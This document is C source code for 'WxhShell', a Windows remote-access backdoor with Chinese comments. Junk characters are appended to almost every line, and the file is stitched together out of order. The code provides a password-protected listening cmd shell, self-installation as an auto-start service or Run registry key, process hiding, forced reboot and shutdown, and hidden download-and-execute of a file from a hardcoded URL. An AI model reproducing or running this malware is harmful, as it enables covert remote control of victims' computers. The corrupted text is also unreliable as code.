    if(Boot(SHUTDOWN)) Hs$'0:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GV5qdD(  
    else { t{zBC?c R  
    closesocket(wsh); ->h5T%sn  
    ExitThread(0); J:AMnUOcDi  
    } n}JPYu  
    break; w.z<60%},0  
    } W qE '(  
  // 获取shell oR#Ob#&  
  case 's': { a~opE!|m  
    CmdShell(wsh); |4fF T `  
    closesocket(wsh); {jW%P="z$"  
    ExitThread(0); &?y7I Pp  
    break; g5Hr7K m  
  } xzr<k Sp  
  // 退出 H:Y&OZ  
  case 'x': { 2)9r'ai?a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \J3/keL  
    CloseIt(wsh); 6e.[,-eU  
    break; lL0M^Nv  
    } JYJU&u  
  // 离开 kAo.C Nj7  
  case 'q': { _{)9b24(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); psUE!~9,  
    closesocket(wsh); Q|c|2byb  
    WSACleanup(); e;h,V(  
    exit(1); "VTF}#Uo  
    break; v@n_F  
        } 59lj7  
  } + >nr.,qo3  
  } `5l01nOxJ  
g`[$Xi R  
  // 提示信息 cP rwW 6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q7_+}"i  
} {v,)G)obWw  
  } [_.n$p-  
J'Sm0  
  return; !MV@) (.  
} !0" nx{7.  
d1G8*YO@  
// shell模块句柄 zk}{ dG^M:  
int CmdShell(SOCKET sock) Fr [7  
{ K 1W].(-@4  
STARTUPINFO si; ej^3Y Nh&  
ZeroMemory(&si,sizeof(si)); Z a(|(M H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bRsTBp;R`I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8ObeiVXf)  
PROCESS_INFORMATION ProcessInfo; {HrZ4xQnpV  
char cmdline[]="cmd"; eR;!(Oy=A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t'(1I|7  
  return 0; :L:&t,X  
} #g9ZX16}  
{vVTv SC  
// 自身启动模式 nc?B6IV  
int StartFromService(void) $k%Z$NSN=  
{ $/Ov2z  
typedef struct l,`!rF_  
{ ^?GmrHC)  
  DWORD ExitStatus; |FNCXlgZ  
  DWORD PebBaseAddress; c0rk<V%5+  
  DWORD AffinityMask; 5?u}#zO  
  DWORD BasePriority; r>t1 _b+nu  
  ULONG UniqueProcessId; VaLs`q&3>  
  ULONG InheritedFromUniqueProcessId; /aqEJGG>  
}   PROCESS_BASIC_INFORMATION; `dW]4>`O  
5V5w:U>_z  
PROCNTQSIP NtQueryInformationProcess; ))T>jh   
z5 m>H;P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F- rQ3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iK;opA"  
l67Jl"v  
  HANDLE             hProcess; B[o`k]]  
  PROCESS_BASIC_INFORMATION pbi; tWPO]3hW  
:d,^I@]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Acm<-de  
  if(NULL == hInst ) return 0; ccJM>9  
&^.57]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xge7r3i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8Ogv9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pdVQ*=c?M  
ko\):DN  
  if (!NtQueryInformationProcess) return 0;  IDFFc&  
7jG(<!,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }IaA7f  
  if(!hProcess) return 0; Yl^mAS[w&  
R9o-`Wz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _lxco=qd=%  
5K%W a]W  
  CloseHandle(hProcess); ,FSrn~-j9  
A#y@`} ]!'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `ldz`yu6++  
if(hProcess==NULL) return 0; mTDVlw0dh  
9$*s8}|  
HMODULE hMod; Dl\`  
char procName[255]; nHXX\i  
unsigned long cbNeeded; EG<s_d?  
]$iqa"{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #1nJ(-D+  
o*S"KX $  
  CloseHandle(hProcess); >bo'Y9C  
OS-f(qXd+  
if(strstr(procName,"services")) return 1; // 以服务启动 QO;4}rq  
kGYTl,A{  
  return 0; // 注册表启动 .?W5{U  
} &:#h$`4  
}?8uH/+ZA  
// 主模块 n~IVNB*  
int StartWxhshell(LPSTR lpCmdLine) afG{lWE)  
{ fPa9ofU/kr  
  SOCKET wsl; AONDx3[   
BOOL val=TRUE; oMH.u^b]fT  
  int port=0; *?p|F&J  
  struct sockaddr_in door; 0ezYdS~o  
+>f<EPGn  
  if(wscfg.ws_autoins) Install(); @ EuFJ=h  
aBuoHdg;  
port=atoi(lpCmdLine); Zo-$z8  
32)tJ|m  
if(port<=0) port=wscfg.ws_port; tfO#vw,@  
.x83Ah`  
  WSADATA data; +~zXDBS9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3INI?y}t   
`6=-WEo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v-j3bB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uzOYVN$t  
  door.sin_family = AF_INET; RBKOM$7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9=l.T/?sf  
  door.sin_port = htons(port); dtStTT  
yBpk$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <!d"E@%v@  
closesocket(wsl); fT\:V5-  
return 1; c~}l8M %  
} d50Vtm\  
alMYk  
  if(listen(wsl,2) == INVALID_SOCKET) { koG{ |elgB  
closesocket(wsl); +FG$x/\*0  
return 1; (46 {r}_O  
} E\7m< 'R  
  Wxhshell(wsl); ~`8hwR1&z  
  WSACleanup(); 3L>IX8_   
e0,'+;*=g  
return 0; IE~%=/|  
H;ZHqcUX  
} |`k .y]9  
E8\XNG)V4  
// 以NT服务方式启动 vYmSKS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )P&9A)8  
{ B0}~G(t(  
DWORD   status = 0; jjs&`Fy,  
  DWORD   specificError = 0xfffffff; 's?Ai2=#  
jF ^5}5U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G#`\(NW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; '1SG(0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \BV 0zKd  
  serviceStatus.dwWin32ExitCode     = 0; 8[%Ao/m  
  serviceStatus.dwServiceSpecificExitCode = 0; xFv;1Q  
  serviceStatus.dwCheckPoint       = 0; Br>Fpe$q4  
  serviceStatus.dwWaitHint       = 0; &Bb<4R  
_A_ A$N~9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'WyTI^K9  
  if (hServiceStatusHandle==0) return; ]1-z! B4K  
s Wjy6;  
status = GetLastError(); uZKP"Oy  
  if (status!=NO_ERROR) ]LPQYL  
{ vm23U^VJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `ejUs]SR  
    serviceStatus.dwCheckPoint       = 0; ;)0w:Zn/[  
    serviceStatus.dwWaitHint       = 0; QvPD8B  
    serviceStatus.dwWin32ExitCode     = status; +0z 7KO%^^  
    serviceStatus.dwServiceSpecificExitCode = specificError; L}{`h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uUR~&8ERX  
    return; >ndJNinV  
  } ^>4o$}  
*y[PNqyd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q'B6^%:<~  
  serviceStatus.dwCheckPoint       = 0; l?E a#  
  serviceStatus.dwWaitHint       = 0; v *hRz;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bJr[I  
} c2SC|s]  
=V+I=rqo  
// 处理NT服务事件,比如:启动、停止 I{0 k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D6D1S/:ij'  
{ 0 5\dl  
switch(fdwControl) 9e!NOl\_;.  
{ dBC bL.!  
case SERVICE_CONTROL_STOP: Sywu=b  
  serviceStatus.dwWin32ExitCode = 0; vP!GJX &n5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7;`o( [N  
  serviceStatus.dwCheckPoint   = 0; pI`?(5iK6|  
  serviceStatus.dwWaitHint     = 0; dHnR_.  
  { PrF}a<:n:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w [>;a.$  
  } 5,"l0nrk  
  return; #eP LOR&q  
case SERVICE_CONTROL_PAUSE: pfuW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y2HxP_s?P?  
  break; Lju7,/UD  
case SERVICE_CONTROL_CONTINUE: D,l,`jv*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n7aU<`U  
  break; FwKj+f"  
case SERVICE_CONTROL_INTERROGATE: )-rW&"{U  
  break; 9D\4n  
}; _gNz9$S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PrQ?PvA<L  
} Y>."3*^  
F7m?xy  
// 标准应用程序主函数 :!&;p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XhzGLYb~I`  
{ 1&=0Wg0ig  
f67NWFX  
// 获取操作系统版本 bZ _mYyBh  
OsIsNt=GetOsVer(); 2g{)AtK$#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +eX)48  
MjfFf} @  
  // 从命令行安装 A?Qa 4i  
  if(strpbrk(lpCmdLine,"iI")) Install(); _#e&t"@GS  
FxG7Pk+=  
  // 下载执行文件 gCd`pi 8  
if(wscfg.ws_downexe) { {Ee>n^1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v <\A%  
  WinExec(wscfg.ws_filenam,SW_HIDE); `pZs T ^G[  
} W_O)~u8  
G}@#u9  
if(!OsIsNt) { F,Xo|jjj  
// 如果时win9x,隐藏进程并且设置为注册表启动 eg"Gjp- 4=  
HideProc(); z7.|fE)<6  
StartWxhshell(lpCmdLine); ,''cNV  
} :A46~UA!$  
else t-u|U(n  
  if(StartFromService()) jkAAqRR  
  // 以服务方式启动 $v.C0 x  
  StartServiceCtrlDispatcher(DispatchTable); 'J*<iA*W  
else HJ?+A-n/  
  // 普通方式启动 $h9='0Wi0'  
  StartWxhshell(lpCmdLine); sGDV]~E  
4W4kwU6D  
return 0; $m1<i?'m  
} 1RLY $M  
!U_ K&f  
iVtl72O  
_fFU#k:MU  
=========================================== z><5R|Gf  
<HWS:'1  
+^aFs S  
V{-AP=C7  
qpoV]#iW  
3OyS8`  
" &MmU  
$FH18  
#include <stdio.h> "}WJd$  
#include <string.h> 'PZ|:9FX!  
#include <windows.h> F+UG'4%  
#include <winsock2.h> DVZdClAL  
#include <winsvc.h> v1U?&C  
#include <urlmon.h> 148V2H)  
d|9b~_::V  
#pragma comment (lib, "Ws2_32.lib") Zt -1h{7  
#pragma comment (lib, "urlmon.lib") %U7.7dSOI;  
_Jz8{` "  
#define MAX_USER   100 // 最大客户端连接数 D'<VYl"/  
#define BUF_SOCK   200 // sock buffer {3a&1'a0g  
#define KEY_BUFF   255 // 输入 buffer `Ycf]2.,$  
M`,~ mU  
#define REBOOT     0   // 重启 @K223?c8l  
#define SHUTDOWN   1   // 关机 sRVIH A ,  
rj ]F87"  
#define DEF_PORT   5000 // 监听端口 \mM<\-'p  
{yAL+}  
#define REG_LEN     16   // 注册表键长度 mM.*b@d-  
#define SVC_LEN     80   // NT服务名长度 DF]9@{  
A$0H .F>  
// 从dll定义API 2Q7R6*<N:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'XQ`g CF=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v!3A9!.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DDT_kK;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zIC;7 5#  
5V[oE\B  
// wxhshell配置信息 k- V,~c  
struct WSCFG { A,-6|&F  
  int ws_port;         // 监听端口 @[<nQZw:  
  char ws_passstr[REG_LEN]; // 口令 A , CW_  
  int ws_autoins;       // 安装标记, 1=yes 0=no WtQ8X|\`  
  char ws_regname[REG_LEN]; // 注册表键名 C fEmT8sa  
  char ws_svcname[REG_LEN]; // 服务名 e:E0"<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5wB =>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [AH6~-\x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mOpTzg@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (z7vl~D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .Ig+Dj{)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H~eRT1  
h2z_,`iS7  
}; I +5)Jau^S  
\}6;Kf}\  
// default Wxhshell configuration |yyO q  
struct WSCFG wscfg={DEF_PORT, @WH@^u  
    "xuhuanlingzhe", R_] {2~J+  
    1, -U~   
    "Wxhshell", VUTacA Y>L  
    "Wxhshell", O1%pxX'`S  
            "WxhShell Service", kp?w2+rz  
    "Wrsky Windows CmdShell Service", gK#mPcn^  
    "Please Input Your Password: ", I{JU-J k|  
  1, K]/4qH$:  
  "http://www.wrsky.com/wxhshell.exe", ERwHLA  
  "Wxhshell.exe" c,so`I3rI  
    }; 5vo.[^ty  
*vgl*k?)  
// 消息定义模块 s &Dg8$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KKA~#iCk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iu**`WjI\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }'r[m5T  
char *msg_ws_ext="\n\rExit."; 3X9b2RY*L/  
char *msg_ws_end="\n\rQuit."; Nu8Sr]p  
char *msg_ws_boot="\n\rReboot..."; 2._X|~0a  
char *msg_ws_poff="\n\rShutdown..."; VxP&j0M>  
char *msg_ws_down="\n\rSave to "; T5urZq*R  
`[o)<<}  
char *msg_ws_err="\n\rErr!"; Bwr3jV?S  
char *msg_ws_ok="\n\rOK!"; sGvIXD  
/TS=7J#  
char ExeFile[MAX_PATH]; =4GSg1Biy  
int nUser = 0; '|;X0fD  
HANDLE handles[MAX_USER]; imQUR C  
int OsIsNt; ~['Kgh_;  
b~dIk5>O  
SERVICE_STATUS       serviceStatus; P"sA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kq\)MQ"/X  
Q{e\}wN  
// 函数声明 +_-bJo2a  
int Install(void); tx?dIy;  
int Uninstall(void); "#mBcQ;QLV  
int DownloadFile(char *sURL, SOCKET wsh); &A#~)i5gF  
int Boot(int flag); Nn>'^KZNG  
void HideProc(void); TAjh"JJIV  
int GetOsVer(void); }kg ye2[  
int Wxhshell(SOCKET wsl); L(GjZAP  
void TalkWithClient(void *cs); &.TTJsKG h  
int CmdShell(SOCKET sock); 12Y  
int StartFromService(void); P%K4[c W~  
int StartWxhshell(LPSTR lpCmdLine); w+1Gs ;  
[qsEUc+Z.'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m%?V7-9!k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ETs>`#`6o  
bLt.O(T}  
// 数据结构和表定义 )O:0 ]=#))  
SERVICE_TABLE_ENTRY DispatchTable[] = [w ;kkMJAy  
{ OtFh,}E  
{wscfg.ws_svcname, NTServiceMain}, Ty88}V  
{NULL, NULL} \9-"M;R.d  
}; 0p89: I*0  
C]Q8:6b  
// 自我安装 U`hY{E;  
int Install(void) ftH:r_"O#  
{ !A48TgAeE  
  char svExeFile[MAX_PATH]; :1Sl"?xU  
  HKEY key; YJ$1N!rG  
  strcpy(svExeFile,ExeFile); 3_A *$  
:6$>_m=i  
// 如果是win9x系统,修改注册表设为自启动 n]he-NHP  
if(!OsIsNt) { nS>8bub30  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _V`DWR *  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Uix6GT;  
  RegCloseKey(key); (h:Rh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mw9 \EhA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vTn}*d.K=  
  RegCloseKey(key); Y`?-VaY  
  return 0; V^;jJ']  
    } Bj7gQ%>H4  
  } B#9{-t3Vf  
} @B}aN@!/  
else { zXRlo]  
W^"AU;^V56  
// 如果是NT以上系统,安装为系统服务 4>J   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y".RPiTL  
if (schSCManager!=0) .YuJJJv  
{ av~5l4YL  
  SC_HANDLE schService = CreateService kBN+4Dr/$  
  ( :,)lm.}]t  
  schSCManager, bV"G~3COy  
  wscfg.ws_svcname, cp h:y  
  wscfg.ws_svcdisp, c*~]zR>s!  
  SERVICE_ALL_ACCESS, Z@r.pRr'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9?k_y ZV  
  SERVICE_AUTO_START, G z)NwD  
  SERVICE_ERROR_NORMAL, =G]@+e  
  svExeFile, jmeRrnC}  
  NULL, yq$,,#XDD=  
  NULL, U,LTVYrO  
  NULL, ^b %0 B  
  NULL, G+F: 99A  
  NULL 4"Hye&O  
  ); b5^OQH{v  
  if (schService!=0) 8,uB8C9  
  { )rixMl &[  
  CloseServiceHandle(schService); HJY2#lSha6  
  CloseServiceHandle(schSCManager); AoyX\iqQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vY_-Ranj#.  
  strcat(svExeFile,wscfg.ws_svcname); h;0S%ZC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :Lz\yARpk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n?c]M  
  RegCloseKey(key); D$x_o!JT  
  return 0; x|vqNZ\F  
    } |n] d34E  
  } y8DhOlewQ  
  CloseServiceHandle(schSCManager); > %KuNy{  
} FKmFo^^0  
} BXyo  
Hik3wPnp  
return 1; s8h-,@p  
} 9`9R!=NM  
M8TSt\  
// 自我卸载 28=O03q  
int Uninstall(void) =xS+5(  
{ nakYn  
  HKEY key; tzh1s i  
R,Vd.-5M  
if(!OsIsNt) { {+@bZ}57  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b?'yAXk  
  RegDeleteValue(key,wscfg.ws_regname); 'R:"5d  
  RegCloseKey(key); {.?/)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Nj 00W1  
  RegDeleteValue(key,wscfg.ws_regname); y(xJT j  
  RegCloseKey(key); qQH]`#P  
  return 0; IDG}ZlG  
  } d $Pab*  
} '4#}e[e  
} `6xkf&Kt  
else { ynhmMy%  
xsMBC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mA=i)Ga  
if (schSCManager!=0) Uh):b%bS;J  
{ OUNd@o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `p;I}  
  if (schService!=0) q CnZhJ  
  { SrK)t.oK  
  if(DeleteService(schService)!=0) { sU{NHC)5  
  CloseServiceHandle(schService); k-{<=>uM  
  CloseServiceHandle(schSCManager); [+DW >Et  
  return 0; t?'!$6   
  } @("a.;1#o  
  CloseServiceHandle(schService); @0u~?!g@  
  } ?pB>0b~3-  
  CloseServiceHandle(schSCManager); e8#h3lxJ`  
} Evjj"h&0J  
} trp0 V4b8  
#odIEC/  
return 1; Ot6aRk  
} "pRtczxOgR  
aN8|J?JH  
// 从指定url下载文件 W|g4z7Pb  
int DownloadFile(char *sURL, SOCKET wsh) 4k@5/5zsM  
{ #kaY0M  
  HRESULT hr; -- c"0,7  
char seps[]= "/"; [J4gH^Z_  
char *token; Wg<(ms dj  
char *file; G'ei/Me6{  
char myURL[MAX_PATH]; E(8* pI  
char myFILE[MAX_PATH]; h1B16)  
,l:ORoND  
strcpy(myURL,sURL); lY?QQ01D  
  token=strtok(myURL,seps); ~^r29'3  
  while(token!=NULL) F|e1"PkeoA  
  { U<_3^  
    file=token; 4hTMbS_;  
  token=strtok(NULL,seps); n O\"HLM  
  } hM6PP7XH  
}:KEj_~.  
GetCurrentDirectory(MAX_PATH,myFILE); eQp4|rf  
strcat(myFILE, "\\"); #/Vh|UeX  
strcat(myFILE, file); "2)H'<  
  send(wsh,myFILE,strlen(myFILE),0); 9NQlI1W z4  
send(wsh,"...",3,0); hp5|@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sP;nGQ.eN  
  if(hr==S_OK) j/f?"VEr  
return 0; $ us]35Z3  
else (nlvl?\d  
return 1; e :%ieH<  
3TY5;6  
} 117EZg]O  
`Nb[G)Xh  
// 系统电源模块 Z\ja  
int Boot(int flag) @,cowar*  
{ V@ cM|(  
  HANDLE hToken; v*SEb~[  
  TOKEN_PRIVILEGES tkp; KLitg6&P  
OZ |IA:,}  
  if(OsIsNt) { M42 Ssn)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X.f>'0i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,!Z *5  
    tkp.PrivilegeCount = 1; 'E/^8md>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &U5{Hm9Ynr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i+S) K  
if(flag==REBOOT) { d4>Z8FF|1B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WaVtfg$!  
  return 0; ER5gmmVP@p  
} `_`QxM  
else { W&& ;:Fr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [<g?WPCcC  
  return 0; TgmnG/Z  
} C)@y5. G;  
  } G~2jUyv  
  else { 52 fA/sx  
if(flag==REBOOT) { w$z}r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TDFkxB>  
  return 0; Po__-xN>Q  
} i|w81p^o  
else { f]`#J%P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4'g;TI^  
  return 0; b&~4t/Vq  
} z(_Ss@ $  
} '=nQ$/!q  
G7qG$wd8h  
return 1; 5NS[dQG5  
} VY;{/.Sa  
w+#C-&z  
// win9x进程隐藏模块 <lw` 3aa(  
void HideProc(void) ] >LhkA@V  
{ #A1Z'y0  
Oiz ,w7LRh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i'H/ZwU  
  if ( hKernel != NULL ) 4C<j dv_J  
  { Hv sob  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M=F xB;v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !;i`PPRwk  
    FreeLibrary(hKernel); -(bXSBs#  
  } 5R@  
)6,de2Pb  
return; iOR_[y,  
} Vr6@> @SC  
zLD0RBj7p  
// 获取操作系统版本 v0-cd  
int GetOsVer(void) xy5lE+E_U  
{ W-x?:X<}  
  OSVERSIONINFO winfo; Gn|F`F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R< ,`[*Z  
  GetVersionEx(&winfo);  87<-kV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @wpN6 /   
  return 1; r=5{o 1"  
  else x_| UPF  
  return 0; (qqOjz   
} *5vV6][  
ROg(U8 N  
// 客户端句柄模块 Mn9dqq~a  
int Wxhshell(SOCKET wsl) C8[&S&<_<  
{ T&%ux=Jt  
  SOCKET wsh; ^B(V4-|  
  struct sockaddr_in client; iYDEI e  
  DWORD myID; S4^vpY DeN  
W3IpHV  
  while(nUser<MAX_USER) $FlW1E j  
{ U*( izD  
  int nSize=sizeof(client); U}6.h&$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0y 7"SiFY  
  if(wsh==INVALID_SOCKET) return 1; Av xfI"sp  
6|aKL[%6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _A+s)]}  
if(handles[nUser]==0) S0~2{ G"v  
  closesocket(wsh); e\Y*F  
else _d"b;4l  
  nUser++; ]Y2RqXA*  
  } q}~3C1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @6{~05.p  
@x"0_Qw  
  return 0; IhA5Wt0j  
} plb!.g  
lz YEx  
// 关闭 socket q;<h[b?  
void CloseIt(SOCKET wsh) K8>zF/# +  
{ v}1QH  
closesocket(wsh); D}dn.$  
nUser--; 1u: gFUb  
ExitThread(0); }._eIx"  
} h3bff#<K  
jp0<pw_  
// 客户端请求句柄 Po ZuMF  
void TalkWithClient(void *cs) -j73Wz  
{ &d"G/6  
=R#Qx,  
  SOCKET wsh=(SOCKET)cs; 1#.>a$>  
  char pwd[SVC_LEN]; x$1]M DAGb  
  char cmd[KEY_BUFF]; BRlT7grgq  
char chr[1]; /9HVY %n  
int i,j; {B[=?6tQ  
@&X|5p"[g  
  while (nUser < MAX_USER) { &Q>k7L!  
VY~yg*  
if(wscfg.ws_passstr) { @xbQYe%J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GH+r ?2<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2 dAB-d:k  
  //ZeroMemory(pwd,KEY_BUFF); S-k8jm  
      i=0; \De{9v  
  while(i<SVC_LEN) { oW<5|FaN  
95YL]3V  
  // 设置超时 NMa} <  
  fd_set FdRead; @^T1XX  
  struct timeval TimeOut; " f "6]y  
  FD_ZERO(&FdRead); MFb9H{LA  
  FD_SET(wsh,&FdRead); (CsD*U`h  
  TimeOut.tv_sec=8; s (zL   
  TimeOut.tv_usec=0; v#.r.{t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :P<]+\m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8Le||)y,\  
`-3O w[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ||;hci O  
  pwd=chr[0]; cUA7#1\T=  
  if(chr[0]==0xd || chr[0]==0xa) { +R|z{M)*  
  pwd=0; ;`^WGS(3.%  
  break; m^b Nuo  
  } ^R# E:3e  
  i++; ',:*f8Jk  
    } E;+O($bA  
EL(nDv  
  // 如果是非法用户,关闭 socket Zg'Q>.:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JwAYG5W  
} *XT/KxLa7  
Bs O+NP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Pmh8sw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %O!v"Xh  
T3k#VNH  
while(1) { SV2M+5#;  
iZM+JqfU|D  
  ZeroMemory(cmd,KEY_BUFF); )XYv}U   
@Ub"5Fl4  
      // 自动支持客户端 telnet标准   4`!Z$kt  
  j=0; yuat" Pg  
  while(j<KEY_BUFF) { J2 'Nd'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ][?G/*k  
  cmd[j]=chr[0]; +\F'iAs@  
  if(chr[0]==0xa || chr[0]==0xd) { rEv$+pP  
  cmd[j]=0; "4uS3h2r  
  break; I?ae\X@M  
  } TWQG591  
  j++;  (Q.waI  
    } E0MGRI"me  
.y@oz7T5  
  // 下载文件  DX"xy  
  if(strstr(cmd,"http://")) { f"qga/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~TS y<t~%-  
  if(DownloadFile(cmd,wsh)) RPE5K:P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f] J M /  
  else =jX8.K4]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Aq0S-HKF  
  } dt`{!lts'  
  else { x)rM/Kq  
$`z)~6'  
    switch(cmd[0]) { Db;G@#x  
  z#]Jv!~EPE  
  // 帮助 X_$Cb<e  
  case '?': { 0Sgaem`  
